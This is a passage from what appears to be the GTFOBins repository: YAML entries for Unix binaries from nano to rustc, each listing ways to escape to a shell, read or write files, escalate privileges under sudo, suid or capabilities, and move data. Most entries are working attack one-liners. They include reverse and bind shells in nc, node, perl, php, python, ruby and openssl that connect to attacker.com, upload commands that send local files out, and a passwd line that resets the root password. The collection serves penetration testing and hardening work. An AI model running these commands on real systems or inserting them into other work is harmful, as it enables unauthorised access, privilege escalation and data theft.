|- The file content is displayed in the terminal interface. contexts: sudo: suid: unprivileged: file-write: - code: |- nano /path/to/output-file DATA ^O contexts: sudo: suid: unprivileged: shell: - code: |- nano ^R^X reset; sh 1>&0 2>&0 contexts: sudo: suid: shell: true unprivileged: - code: |- nano -s /bin/sh /bin/sh ^T^T comment: |- The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. contexts: sudo: suid: code: |- nano -s '/bin/sh -p' /bin/sh -p ^T^T shell: false unprivileged: ... ================================================ FILE: _gtfobins/nasm ================================================ --- functions: file-read: - code: |- nasm -@ /path/to/input-file comment: |- The file content is treated as command line options and disclosed throught error messages. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/nawk ================================================ --- alias: gawk ... ================================================ FILE: _gtfobins/nc ================================================ --- functions: bind-shell: - code: |- nc -l -p 12345 -e /bin/sh comment: |- This only works with netcat traditional. connector: tcp-client contexts: sudo: suid: shell: true unprivileged: download: - code: |- nc -l -p 12345 >/path/to/output-file comment: |- The file is actually written by the invoking shell. contexts: sudo: suid: unprivileged: sender: tcp-client - code: |- nc attacker.com 12345 >/path/to/output-file comment: |- The file is actually written by the invoking shell. contexts: sudo: suid: unprivileged: sender: tcp-server reverse-shell: - code: |- nc -e /bin/sh attacker.com 12345 comment: |- This only works with netcat traditional. contexts: sudo: suid: shell: true unprivileged: listener: tcp-server upload: - code: |- nc -l -p 12345 /path/to/temp-file needrestart -c /path/to/temp-file comment: |- This allows to run Perl code (`...`). contexts: sudo: unprivileged: from: perl ... ================================================ FILE: _gtfobins/neofetch ================================================ --- functions: file-read: - binary: false code: |- neofetch --ascii /path/to/input-file comment: |- The file content is used as the logo while some other information is displayed on its right. contexts: sudo: unprivileged: shell: - code: |- echo 'exec /bin/sh' >/path/to/temp-file neofetch --config /path/to/temp-file contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/nft ================================================ --- functions: file-read: - code: |- nft -f /path/to/input-file comment: |- The content is actually parsed and corrupted by the command. contexts: sudo: unprivileged: version: |- `nftables` >= 0.9.0 ... ================================================ FILE: _gtfobins/nginx ================================================ --- functions: download: - code: |- cat >/path/to/temp-file </path/to/temp-file </path/to/temp-file </path/to/temp-file nmap --script=/path/to/temp-file comment: |- This allows to run Lua code (`...`). contexts: sudo: suid: unprivileged: from: lua shell: - code: |- nmap --interactive !/bin/sh contexts: sudo: suid: shell: true unprivileged: version: |- 2.02 to 5.21 ... ================================================ FILE: _gtfobins/node ================================================ --- functions: bind-shell: - code: |- node -e 'sh = require("child_process").spawn("/bin/sh"); require("net").createServer(function (client) { client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }).listen(12345)' connector: tcp-client contexts: sudo: suid: code: |- node -e 'sh = require("child_process").spawn("/bin/sh", ["-p"]); require("net").createServer(function (client) { client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }).listen(12345)' unprivileged: download: - code: |- node -e 'require("http").get("http://attacker.com/path/to/input-file", res => res.pipe(require("fs").createWriteStream("/path/to/output-file")))' contexts: sudo: suid: unprivileged: sender: http-server file-read: - code: |- node -e 'process.stdout.write(require("fs").readFileSync("/path/to/input-file"))' contexts: sudo: suid: unprivileged: file-write: - code: |- node -e 'require("fs").writeFileSync("/path/to/output-file", "DATA")' contexts: sudo: suid: unprivileged: reverse-shell: - code: |- node -e 'sh = require("child_process").spawn("/bin/sh"); require("net").connect(12345, "attacker.com", function () { this.pipe(sh.stdin); sh.stdout.pipe(this); sh.stderr.pipe(this); })' contexts: sudo: suid: code: |- node -e 'sh = require("child_process").spawn("/bin/sh", ["-p"]); require("net").connect(12345, "attacker.com", function () { this.pipe(sh.stdin); sh.stdout.pipe(this); sh.stderr.pipe(this); })' unprivileged: listener: tcp-server shell: - code: |- node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})' contexts: capabilities: code: |- node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})' list: - CAP_SETUID sudo: suid: code: |- node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})' unprivileged: upload: - code: |- node -e 'require("fs").createReadStream("/path/to/input-file").pipe(require("http").request("http://attacker.com/path/to/output-file"))' contexts: sudo: suid: unprivileged: receiver: http-server ... ================================================ FILE: _gtfobins/nohup ================================================ --- functions: command: - code: |- nohup /path/to/command cat nohup.out comment: |- The `nohup.out` file contains the standard output and error of the command. contexts: sudo: suid: unprivileged: shell: - code: |- nohup /bin/sh -c '/bin/sh /dev/tty 2>/dev/tty' comment: |- This creates a `nohup.out` file in the current working directory. contexts: sudo: suid: code: |- nohup /bin/sh -p -c '/bin/sh -p /dev/tty 2>/dev/tty' shell: false unprivileged: ... ================================================ FILE: _gtfobins/npm ================================================ --- functions: shell: - code: |- npm exec /bin/sh contexts: sudo: unprivileged: - code: |- echo '{"scripts": {"preinstall": "/bin/sh"}}' >package.json npm -C . i contexts: sudo: unprivileged: - code: |- echo '{"scripts": {"xxx": "/bin/sh"}}' >package.json npm -C . run xxx contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/nroff ================================================ --- functions: file-read: - binary: false code: |- nroff /path/to/input-file comment: |- The file is typeset and some warning messages may appear. contexts: sudo: unprivileged: shell: - code: |- echo /bin/sh >groff chmod +x groff GROFF_BIN_PATH=. nroff contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/nsenter ================================================ --- functions: shell: - code: |- nsenter /bin/sh comment: |- The shell command can be omitted. contexts: sudo: suid: code: |- nsenter /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/ntpdate ================================================ --- functions: file-read: - binary: false code: |- ntpdate -a x -k /path/to/input-file -d localhost comment: |- The file is actually parsed and lines are leaked through error messages. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/nvim ================================================ --- alias: vim ... ================================================ FILE: _gtfobins/octave ================================================ --- comment: |- The payloads are compatible with GUI mode. functions: file-read: - binary: false code: |- octave-cli --eval 'format none; fid = fopen("/path/to/input-file"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);' contexts: sudo: suid: unprivileged: file-write: - binary: false code: |- octave-cli --eval 'fid = fopen("/path/to/output-file", "w"); fputs(fid, "DATA"); fclose(fid);' contexts: sudo: suid: unprivileged: shell: - code: |- octave-cli --eval 'system("/bin/sh")' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/od ================================================ --- functions: file-read: - code: |- od -An -c -w999 /path/to/input-file comment: |- Three spaces are added before each character in the read file (wrapped at the specified value, i.e., `999`), and non-printable chars are printed as backslash escape sequences. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/opencode ================================================ --- functions: command: - code: |- opencode ! /path/to/command contexts: sudo: suid: shell: true unprivileged: inherit: - code: |- opencode db '...' comment: |- This allows to run SQLite queries (`...`) provided that `sqlite3` is installed. contexts: sudo: unprivileged: from: sqlite3 ... ================================================ FILE: _gtfobins/openssl ================================================ --- functions: download: - code: |- openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-file contexts: sudo: suid: unprivileged: sender: tls-server file-read: - code: |- openssl enc -in /path/to/input-file contexts: sudo: suid: unprivileged: file-write: - code: |- echo DATA | openssl enc -out /path/to/output-file contexts: sudo: suid: unprivileged: - code: |- openssl enc -in /path/to/input-file -out /path/to/output-file contexts: sudo: suid: unprivileged: library-load: - code: |- openssl req -engine ./lib.so contexts: sudo: suid: unprivileged: reverse-shell: - code: |- mkfifo /path/to/temp-socket /bin/sh -i &1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socket comment: |- The shell process is not spawn by `openssl`. contexts: sudo: suid: unprivileged: listener: tls-server upload: - code: |- openssl s_client -quiet -connect attacker.com:12345 x.sh fpm -n x -s dir -t deb -a all --before-install x.sh . ``` contexts: sudo: ... ================================================ FILE: _gtfobins/pandoc ================================================ --- functions: file-read: - binary: false code: |- pandoc -t plain /path/to/input-file contexts: sudo: suid: unprivileged: file-write: - binary: false code: |- echo DATA | pandoc -t plain -o /path/to/output-file contexts: sudo: suid: unprivileged: inherit: - code: |- echo '...' >/path/to/temp-file pandoc -L /path/to/temp-file /dev/null comment: |- This allows to run Lua code (`...`). contexts: sudo: suid: unprivileged: from: lua ... ================================================ FILE: _gtfobins/passwd ================================================ --- functions: privilege-escalation: - code: |- echo -e 'x\nx' | passwd comment: |- This changes the root password to `x`, so it's now possible to log in using, for example, `su`. contexts: sudo: ... ================================================ FILE: _gtfobins/paste ================================================ --- functions: file-read: - binary: false code: |- paste /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/pax ================================================ --- functions: file-read: - code: |- pax -w /path/to/input-file | tar -xO contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/pdb ================================================ --- functions: inherit: - code: |- echo '...' >/path/to/temp-file pdb /path/to/temp-file cont comment: |- This allows to run Python code (`...`). contexts: sudo: unprivileged: from: python ... ================================================ FILE: _gtfobins/pdflatex ================================================ --- functions: file-read: - code: |- pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' pdftotext texput.pdf - comment: |- The read file will be part of the PDF output. contexts: sudo: suid: unprivileged: file-write: - code: |- pdflatex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}' comment: |- The file can only be written in the current directory, and the `.tex` extension is mandatory. contexts: sudo: suid: unprivileged: shell: - code: |- pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/pdftex ================================================ --- functions: shell: - code: |- pdftex --shell-escape '\write18{/bin/sh}\end' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/perf ================================================ --- functions: shell: - code: |- perf stat /bin/sh contexts: sudo: suid: code: |- perf stat /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/perl ================================================ --- functions: download: - code: |- perl -MIO::Socket::INET -e '$s=new IO::Socket::INET(PeerAddr=>"attacker.com",PeerPort=>80,Proto=>"tcp") or die; print $s "GET /path/to/input-file HTTP/1.1\r\nHost: attacker.com\r\nMetadata: true\r\nConnection: close\r\n\r\n"; open(my $fh, ">", "/path/to/output-file") or die; $in_content = 0; while (<$s>) { if ($in_content) { print $fh $_; } elsif ($_ eq "\r\n") { $in_content = 1; } } close($s); close($fh);' contexts: sudo: unprivileged: sender: http-server file-read: - code: |- perl -ne print /path/to/input-file contexts: sudo: suid: unprivileged: reverse-shell: - code: |- perl -e 'use Socket;$i="attacker.com";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' contexts: sudo: unprivileged: listener: tcp-server shell: - code: |- perl -e 'exec "/bin/sh"' contexts: capabilities: code: |- perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"' list: - CAP_SETUID sudo: unprivileged: - code: |- PERL5OPT=-d PERL5DB='exec "/bin/sh"' perl /dev/null comment: |- The `/dev/null` part can be omitted, just use `Ctrl-D` in order to spawn the shell. contexts: sudo: unprivileged: upload: - code: |- perl -MIO::Socket::INET -e '$s = new IO::Socket::INET(PeerAddr=>"attacker.com", PeerPort=>80, Proto=>"tcp") or die;open(my $file, "<", "/path/to/input-file") or die;$content = join("", <$file>);close($file);$headers = "POST / HTTP/1.1\r\nHost: attacker.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " . length($content) . "\r\nConnection: close\r\n\r\n";print $s $headers . $content;while (<$s>) { }close($s);' contexts: sudo: unprivileged: receiver: http-server ... ================================================ FILE: _gtfobins/perlbug ================================================ --- functions: shell: - code: |- perlbug -s 'x x x' -r x -c x -e 'exec /bin/sh #' comment: |- This requires to press `Enter` serveral times before the shell is spawn. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/pexec ================================================ --- functions: shell: - code: |- pexec /bin/sh contexts: sudo: suid: code: |- pexec /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/pg ================================================ --- functions: file-read: - code: |- pg /path/to/input-file contexts: sudo: suid: unprivileged: shell: - code: |- pg /etc/hosts !/bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/php ================================================ --- functions: command: - code: |- php -r 'echo shell_exec("/path/to/command");' contexts: sudo: suid: shell: true unprivileged: - code: |- php -r '$r=array(); exec("/path/to/command", $r); print(join("\n",$r));' contexts: sudo: suid: shell: true unprivileged: - code: |- php -r '$p = array(array("pipe","r"),array("pipe","w"),array("pipe", "w"));$h = @proc_open("/path/to/command", $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}' contexts: sudo: suid: shell: true unprivileged: download: - code: |- php -r '$c=file_get_contents("http://attacker.com/path/to/input-file"); file_put_contents("/path/to/output-file", $c);' contexts: sudo: suid: unprivileged: sender: http-server file-read: - code: |- php -r 'readfile("/path/to/input-file");' contexts: sudo: suid: unprivileged: file-write: - code: |- php -r 'file_put_contents("/path/to/output-file", "DATA");' contexts: sudo: suid: unprivileged: reverse-shell: - code: |- php -r '$sock=fsockopen("attacker.com",12345);exec("/bin/sh -i 0<&3 1>&3 2>&3");' contexts: sudo: suid: shell: true unprivileged: listener: tcp-server shell: - code: |- php -r 'system("/bin/sh -i");' contexts: capabilities: code: |- php -r 'posix_setuid(0); system("/bin/sh -i");' list: - CAP_SETUID sudo: suid: shell: true unprivileged: tty: false - code: |- php -r 'passthru("/bin/sh -i");' contexts: capabilities: code: |- php -r 'posix_setuid(0); passthru("/bin/sh -i");' list: - CAP_SETUID sudo: suid: shell: true unprivileged: tty: false - code: |- php -r '$h=@popen("/bin/sh -i","r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }' contexts: capabilities: code: |- php -r 'posix_setuid(0); $h=@popen("/bin/sh -i","r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }' list: - CAP_SETUID sudo: suid: shell: true unprivileged: tty: false - code: |- php -r 'pcntl_exec("/bin/sh");' contexts: capabilities: code: |- php -r 'posix_setuid(0); pcntl_exec("/bin/sh");' list: - CAP_SETUID sudo: suid: code: |- php -r 'pcntl_exec("/bin/sh", ["-p"]);' shell: false unprivileged: upload: - code: |- php -S 0.0.0.0:80 contexts: sudo: suid: unprivileged: receiver: http-client version: |- >= 5.4 ... ================================================ FILE: _gtfobins/pic ================================================ --- functions: file-read: - binary: false code: |- pic /path/to/input-file comment: |- The output is prefixed with some content. contexts: sudo: suid: unprivileged: shell: - code: |- pic -U .PS sh X sh X contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/pico ================================================ --- alias: nano ... ================================================ FILE: _gtfobins/pidstat ================================================ --- functions: shell: - code: |- pidstat -e /bin/sh contexts: sudo: suid: code: |- pidstat -e /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/pip ================================================ --- functions: inherit: - code: |- echo '...' >setup.py pip install --break-system-packages . comment: |- This allows to run Python code (`...`). It executes a Python script named `setup.py` in the directory passed as argument (`.`). Keep in mind that the TTY is lost, so `/dev/tty` can be used, for example: ``` echo 'import os; os.system("exec /bin/sh /dev/tty 2>/dev/tty")' >setup.py ``` The `--break-system-packages` flag can be omitted in older systems. contexts: sudo: unprivileged: from: python shell: - code: |- pip config --editor '/bin/sh -s' edit contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/pipx ================================================ --- functions: inherit: - code: |- echo '...' >/path/to/file.py pipx run /path/to/file.py comment: |- This allows to run Python code (`...`). contexts: sudo: unprivileged: from: python ... ================================================ FILE: _gtfobins/pkexec ================================================ --- functions: shell: - code: |- pkexec /bin/sh contexts: sudo: ... ================================================ FILE: _gtfobins/pkg ================================================ --- functions: command: - code: |- pkg install -y --no-repo-update ./x-1.0.txz comment: |- Generate the FreeBSD package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` echo /path/to/command >x.sh fpm -n x -s dir -t freebsd -a all --before-install x.sh . ``` contexts: sudo: ... ================================================ FILE: _gtfobins/plymouth ================================================ --- functions: shell: - code: |- plymouth ask-for-password --prompt=x --command=/bin/sh contexts: sudo: suid: code: |- plymouth ask-for-password --prompt=x --command='/bin/sh -p' shell: false unprivileged: ... ================================================ FILE: _gtfobins/podman ================================================ --- functions: shell: - code: |- podman run --rm -it --privileged --volume /:/mnt alpine chroot /mnt /bin/sh comment: |- This requires an actual image to be available (e.g., `alpine`) downloading it if not present. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/poetry ================================================ --- functions: inherit: - code: |- echo '...' >/path/to/temp-file poetry run python /path/to/temp-file comment: |- This allows to run Python code (`...`). A valid `pyproject.toml` file must be present in the current working directory, you can create one with `poetry init -n`. contexts: sudo: unprivileged: from: python ... ================================================ FILE: _gtfobins/posh ================================================ --- functions: shell: - code: |- posh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/pr ================================================ --- functions: file-read: - binary: false code: |- pr -T /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/procmail ================================================ --- functions: command: - blind: false code: |- echo -e ':0\n| /path/to/command >/path/to/temp-file procmail -m /path/to/temp-file comment: |- The program is picky about the file ownership, and waits for some input. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/pry ================================================ --- functions: inherit: - code: |- pry contexts: sudo: unprivileged: from: irb ... ================================================ FILE: _gtfobins/psftp ================================================ --- functions: shell: - code: |- psftp !/bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/psql ================================================ --- comment: |- A valid PostgreSQL server must be available to connect to. functions: inherit: - code: |- psql \? contexts: sudo: suid: unprivileged: from: less shell: - code: |- psql \! /bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/ptx ================================================ --- comment: |- While the program is capable of reading the file, it outputs a "permuted index" of its content, thus altering it. Adjusting the options could yield more readable outputs. functions: file-read: - binary: false code: |- ptx -w 999 /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/puppet ================================================ --- functions: file-read: - code: |- puppet filebucket -l diff /dev/null /path/to/input-file comment: |- The read file content is corrupted by the `diff` output format. The actual `diff` command is executed. contexts: sudo: unprivileged: file-write: - code: |- puppet apply -e 'file { "/path/to/output-file": content => "DATA" }' contexts: sudo: unprivileged: shell: - code: |- puppet apply -e "exec { '/bin/sh <$(tty) >$(tty) 2>$(tty)': }" contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/pwsh ================================================ --- functions: file-write: - code: |- pwsh -c '"DATA" | Out-File /path/to/output-file' contexts: sudo: unprivileged: shell: - code: |- pwsh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/pygmentize ================================================ --- functions: file-read: - binary: false code: |- pygmentize -l text /path/to/input-file contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/pyright ================================================ --- functions: file-read: - binary: false code: |- pyright /path/to/input-file comment: |- Content is leaked as error messages. contexts: sudo: unprivileged: - binary: false code: |- pyright --outputjson /path/to/input-file comment: |- Content is leaked as error messages in JSON format. contexts: sudo: unprivileged: - code: |- pyright -w /path/to/input-dir/ comment: |- Recursively walks directories, parsing all Python files and leaking some contents through diagnostics. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/python ================================================ --- comment: |- The payloads are compatible with both Python version 2 and 3. functions: download: - code: |- python -c 'import sys; from os import environ as e if sys.version_info.major == 3: import urllib.request as r else: import urllib as r r.urlretrieve("http://attacker.com/path/to/input-file", "/path/to/output-file")' contexts: sudo: suid: unprivileged: sender: http-server file-read: - code: |- python -c 'print(open("/path/to/input-file").read())' contexts: sudo: suid: unprivileged: file-write: - code: |- python -c 'open("/path/to/output-file","w+").write("DATA")' contexts: sudo: suid: unprivileged: library-load: - code: |- python -c 'from ctypes import cdll; cdll.LoadLibrary("/path/to/lib.so")' contexts: capabilities: list: - CAP_SETUID sudo: suid: unprivileged: reverse-shell: - code: |- python -c 'import sys,socket,os,pty;s=socket.socket() s.connect(("attacker.com",12345)) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")' contexts: sudo: suid: unprivileged: listener: code: |- socat file:/dev/tty,raw,echo=0 tcp-listen:12345 comment: |- A TCP server with TTY support can be used on the attacker box to receive the shell. tty: true shell: - code: |- python -c 'import os; os.execl("/bin/sh", "sh")' contexts: capabilities: code: |- python -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")' list: - CAP_SETUID sudo: suid: code: |- python -c 'import os; os.execl("/bin/sh", "sh", "-p")' shell: false unprivileged: upload: - code: |- python -c 'import sys if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u else: import urllib as u, urllib2 as r r.urlopen("http://attacker.com", open("/path/to/input-file", "rb").read())' contexts: sudo: suid: unprivileged: receiver: http-server - code: |- python -c 'import sys if sys.version_info.major == 3: import http.server as s, socketserver as ss else: import SimpleHTTPServer as s, SocketServer as ss ss.TCPServer(("", 12345), s.SimpleHTTPRequestHandler).serve_forever()' contexts: sudo: suid: unprivileged: receiver: http-client ... ================================================ FILE: _gtfobins/qpdf ================================================ --- functions: file-read: - code: |- qpdf --empty --add-attachment /path/to/input-file --key=x -- /path/to/output-file qpdf --show-attachment=x /path/to/output-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/rake ================================================ --- functions: file-read: - code: |- rake -f /path/to/input-file comment: |- The file is actually parsed and the first wrong line is returned in an error message. contexts: sudo: unprivileged: inherit: - code: |- rake -p '...' comment: |- This allows to run Ruby code (`...`). contexts: sudo: unprivileged: from: ruby ... ================================================ FILE: _gtfobins/ranger ================================================ --- functions: shell: - code: |- ranger S contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/rc ================================================ --- functions: shell: - code: |- rc contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/readelf ================================================ --- functions: file-read: - binary: false code: |- readelf -a @/path/to/input-file comment: |- Each line is corrupted by a prefix string and wrapped inside single quotes. Also consider that lines are actually parsed as `readelf` options thus some file contents may lead to unexpected results. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/red ================================================ --- alias: ed ... ================================================ FILE: _gtfobins/redcarpet ================================================ --- functions: file-read: - binary: false code: |- redcarpet /path/to/input-file comment: |- The file is actually parsed as a Markdown file. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/redis ================================================ --- functions: file-write: - binary: false code: |- redis-cli -h 127.0.0.1 config set dir /path/to/output-dir/ config set dbfilename output-file set x "DATA" save comment: |- Write files on the server running Redis at the specified location. Written data will appear amongst the database dump. Keep in mind that it's actually the server to perform the file write. contexts: sudo: suid: unprivileged: version: |- < 7 ... ================================================ FILE: _gtfobins/restic ================================================ --- functions: command: - blind: true code: |- RESTIC_PASSWORD_COMMAND='/path/to/command' restic backup contexts: sudo: suid: unprivileged: - blind: true code: |- restic --password-command='/path/to/command' backup contexts: sudo: suid: unprivileged: shell: - code: |- RESTIC_PASSWORD_COMMAND='/bin/sh -c "/bin/sh 0<&2 1<&2"' restic backup contexts: sudo: suid: code: |- RESTIC_PASSWORD_COMMAND='/bin/sh -p -c "/bin/sh -p 0<&2 1<&2"' restic backup unprivileged: - code: |- restic --password-command='/bin/sh -c "/bin/sh 0<&2 1<&2"' backup contexts: sudo: suid: code: |- restic --password-command='/bin/sh -p -c "/bin/sh -p 0<&2 1<&2"' backup unprivileged: upload: - code: |- restic backup -r rest:http://attacker.com:12345/x /path/to/input-file contexts: sudo: suid: unprivileged: receiver: comment: |- The attacker must setup a server to receive the backups, in the following example [rest-server](https://github.com/restic/rest-server/) is used but there are other options. To start a new instance and create a new repository use: ``` rest-server --listen :12345 restic init -r rest:http://localhost:12345/x ``` After the command executed on the target, to extract the data from the restic repository in the current directory on the attacker side: ``` restic restore -r /tmp/restic/x latest --target . ``` ... ================================================ FILE: _gtfobins/rev ================================================ --- functions: file-read: - binary: false code: |- rev /path/to/input-file | rev contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/rlogin ================================================ --- functions: upload: - binary: false code: |- rlogin -l DATA -p 12345 attacker.com comment: |- The file is corrupted by leading and trailing spurious data. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/rlwrap ================================================ --- functions: file-write: - binary: false code: |- rlwrap -l /path/to/output-file echo DATA comment: |- This adds timestamps to the output file. This relies on the external `echo` command. contexts: sudo: suid: unprivileged: shell: - code: |- rlwrap /bin/sh contexts: sudo: suid: code: |- rlwrap /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/rpm ================================================ --- functions: command: - code: |- rpm -ivh x-1.0-1.noarch.rpm comment: |- Generate the RPM package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` echo /path/to/command >x.sh fpm -n x -s dir -t rpm -a all --before-install x.sh . ``` contexts: sudo: inherit: - code: |- rpm --eval '%{lua:...}' comment: |- This allows to run Lua code (`...`). contexts: sudo: suid: unprivileged: from: lua version: |- Some older version is required. shell: - code: |- rpm --eval '%(/bin/sh 1>&2)' contexts: sudo: suid: shell: true unprivileged: - code: |- rpm --pipe '/bin/sh 0<&1' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/rpmdb ================================================ --- functions: inherit: - code: |- rpmdb --eval '%{lua:...}' comment: |- This allows to run Lua code (`...`). contexts: sudo: suid: unprivileged: from: lua version: |- Some older version is required. shell: - code: |- rpmdb --eval '%(/bin/sh 1>&2)' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/rpmquery ================================================ --- functions: inherit: - code: |- rpmquery --eval '%{lua:...}' comment: |- This allows to run Lua code (`...`). contexts: sudo: suid: unprivileged: from: lua version: |- Some older version is required. shell: - code: |- rpmquery --eval '%(/bin/sh 1>&2)' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/rpmverify ================================================ --- functions: inherit: - code: |- rpmverify --eval '%{lua:...}' comment: |- This allows to run Lua code (`...`). contexts: sudo: suid: unprivileged: from: lua version: |- Some older version is required. shell: - code: |- rpmverify --eval '%(/bin/sh 1>&2)' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/rsync ================================================ --- functions: shell: - code: |- rsync -e '/bin/sh -c "/bin/sh 0<&2 1>&2"' x:x contexts: sudo: suid: code: |- rsync -e '/bin/sh -p -c "/bin/sh -p 0<&2 1>&2"' x:x shell: false unprivileged: ... ================================================ FILE: _gtfobins/rsyslogd ================================================ --- functions: command: - blind: true code: |- cat >/path/to/temp-file </dev/tty 2>/dev/tty"' >~/.rtorrent.rc rtorrent comment: |- After the shell, exit with `Ctrl-Q`. contexts: sudo: suid: code: |- echo 'execute = /bin/sh,-p,-c,"/bin/sh -p /dev/tty 2>/dev/tty"' >~/.rtorrent.rc rtorrent shell: false unprivileged: ... ================================================ FILE: _gtfobins/ruby ================================================ --- functions: download: - code: |- ruby -e 'require "open-uri"; download = URI.open("http://attacker.com/path/to/input-file"); IO.copy_stream(download, "/path/to/output-file")' contexts: sudo: unprivileged: sender: http-server file-read: - code: |- ruby -e 'puts File.read("/path/to/input-file")' contexts: sudo: unprivileged: file-write: - code: |- ruby -e 'File.open("/path/to/output-file", "w+") { |f| f.write("DATA") }' contexts: sudo: unprivileged: library-load: - code: |- ruby -e 'require "fiddle"; Fiddle.dlopen("/path/to/lib.so")' contexts: sudo: unprivileged: reverse-shell: - code: |- ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attacker.com",12345);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' contexts: sudo: unprivileged: listener: tcp-server shell: - code: |- ruby -e 'exec "/bin/sh"' contexts: capabilities: code: |- ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"' list: - CAP_SETUID sudo: unprivileged: upload: - code: |- ruby -run -e httpd . -p 80 contexts: sudo: unprivileged: receiver: http-client version: |- >= 1.9.2 ... ================================================ FILE: _gtfobins/run-mailcap ================================================ --- functions: inherit: - code: |- run-mailcap --action=view text/plain:/etc/hosts contexts: sudo: unprivileged: from: less - code: |- run-mailcap --action=edit text/plain:/path/to/output-file comment: |- The file must exist and be not empty. contexts: sudo: unprivileged: from: vi ... ================================================ FILE: _gtfobins/run-parts ================================================ --- functions: shell: - code: |- run-parts --new-session --regex '^sh$' /bin contexts: sudo: suid: code: |- run-parts --new-session --regex '^sh$' /bin --arg='-p' shell: false unprivileged: - code: |- cp /bin/sh /path/to/temp-dir/ run-parts /path/to/temp-dir/ contexts: sudo: suid: code: |- cp /bin/sh /path/to/temp-dir/ run-parts /path/to/temp-dir/ --arg='-p' shell: false unprivileged: ... ================================================ FILE: _gtfobins/runscript ================================================ --- functions: shell: - code: |- echo '! exec /bin/sh' >/path/to/temp-file runscript /path/to/temp-file contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/rustc ================================================ --- functions: file-read: - binary: false code: |- rustc /path/to/input-file comment: |- The compiler leaks some file lines in the compiler error. contexts: sudo: unprivileged: file-write: - code: |- echo 'fn main() { println!("DATA"); }' >/path/to/temp-file rustc /path/to/temp-file -o /path/to/output-file comment: |- The comment appears in the compiled program. contexts: sudo: unprivileged: inherit: - code: |- rustc --explain E0001 contexts: sudo: unprivileged: from: less ... ================================================ FILE: 